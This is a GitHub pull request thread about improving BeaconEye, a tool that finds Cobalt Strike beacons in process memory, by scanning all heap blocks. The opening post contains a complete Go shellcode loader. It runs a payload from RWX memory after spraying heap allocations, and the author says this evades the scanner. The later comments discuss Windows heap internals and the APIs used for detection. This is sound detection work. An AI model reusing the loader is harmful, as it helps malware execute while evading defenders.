Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug Fix] Scan Heap Blocks #3

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

d1nfinite
Copy link

@d1nfinite d1nfinite commented Sep 13, 2021

In previous fix, you only scan the heap segments, but heap segments contains lots of heap blocks, so, if i create a beacon like this

package main

import (
	"fmt"
	"os"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // Execute
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
	GetCurrentProcess = kernel32.MustFindProc("GetCurrentProcess")
	HeapAlloc = kernel32.MustFindProc("HeapAlloc")
	GetProcessHeap = kernel32.MustFindProc("GetProcessHeap")
	HeapCreate = kernel32.MustFindProc("HeapCreate")
	HeapFree = kernel32.MustFindProc("HeapFree")
)

var(
	heapAddrList []uintptr
)

// Alloc Heap To Generate Lots of Block
func heapAllocBlock(heapHandle uintptr){
	count := 0
	for true{
		count++
		addr, _, _ := HeapAlloc.Call(heapHandle, 0x00000008, 4096)
		heapAddrList = append(heapAddrList, addr)
		if count >= 40000 {
			break
		}
	}
}

// Free
func heapAllocFree(heapHandle uintptr, addr uintptr){
	_, _, err := HeapFree.Call(heapHandle, 0x00000001, addr)
	fmt.Println(err)
}

func main() {
	//Get Shellcode
	f, _ := os.Open("raw/payload.bin")
	shellcode := make([]byte, 40960)
	f.Read(shellcode)

	//Get Heap Address
	heapHandle, _, err := GetProcessHeap.Call()

	if err != nil {
		fmt.Println(err)
	}

	//Alloc
	heapAllocBlock(heapHandle)


	//Execute Shellcode
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}


it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).

but the heap blocks don't exist linkedlist to walk over, so we have to calculate the block address, the block struct like this

ntdll!_HEAP_ENTRY
   +0x000 UnpackedEntry    : _HEAP_UNPACKED_ENTRY
   +0x000 PreviousBlockPrivateData : Ptr64 Void
   +0x008 Size             : Uint2B
   +0x00a Flags            : UChar
   +0x00b SmallTagIndex    : UChar
   +0x008 SubSegmentCode   : Uint4B
   +0x00c PreviousSize     : Uint2B
   +0x00e SegmentOffset    : UChar
   +0x00e LFHFlags         : UChar
   +0x00f UnusedBytes      : UChar

in x64, the size is Size * 0x10, so the block address like this

blockaddress ~ blockaddress + size * 0x10

but windows encrypt the size, so we have to use xor key to decrypt, xor key in _heap struct fields encoding

so, the fix code is my pr (my english is not good, srry)

@d1nfinite
Copy link
Author

by the way, if you want to walk over the segment entry list, you have to ReadPointer(segment + 0x18) - 0x18, otherwise the address is wrong

@d1nfinite
Copy link
Author

and the fix code only work for x64

@CCob
Copy link
Owner

CCob commented Sep 16, 2021

Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?

@d1nfinite
Copy link
Author

Very cool. Thanks for that. Do we need to use the xor key to get the size? Can't we just query the base address to get the allocated memory size for that block?

microsoft seem not provide this function(get the heap block size), but u can use heapwalk to scan(inject the process)

@akkuman
Copy link

akkuman commented Sep 18, 2021

In addition to using HeapWalk, you can also use heap32first and heap32next to accomplish this, but it is very slow, and cannot scan 32bit process from 64bit process.

heap32next is slow beacause it call RtlQueryProcessDebugInfomation when you call it every time

or if you want to faster enum heap, you can implement heap32first and heap32next via RtlQueryProcessDebugInfomation

But, there's same problem, it cannot scan 32bit process from 64bit process.

I haven't found the solution yet.

@CCob
Copy link
Owner

CCob commented Sep 19, 2021

@d1nfinite NtQueryInformationMemory should give the allocated base + size of any address. It might overshoot the amount actually allocated off the heap but it should cover the block it was allocated from

@d1nfinite
Copy link
Author

@CCob beaconeye use NtQueryVirtualMemory to get memory information, and in microsoft doc describe the MEMORY_BASIC_INFORMATION->regionSize`

the region in bytes beginning at the base address in which all pages have identical attributes.

if NtQueryInformationMemory use heap entry size to calculate the address size, u can use this function to walk over all heap blocks, but i'm not sure how it do it

@akkuman
Copy link

akkuman commented Sep 24, 2021

it can bypass the beaconeye(random, if the beacon config not in first segment block), so, to solve this problem, should scan all heap blocks, but if process alloc large heap memory, it will be slow. (in my case, scan 16gb memory need 5 mins).

@d1nfinite

you can see https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L260 and https://github.com/akkuman/EvilEye/blob/e7ca6eec4b52a7aa259d5e0bc8bafecd4e7922a9/beaconeye/beaconeye.go#L236 , I did a little work to speed up the program

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants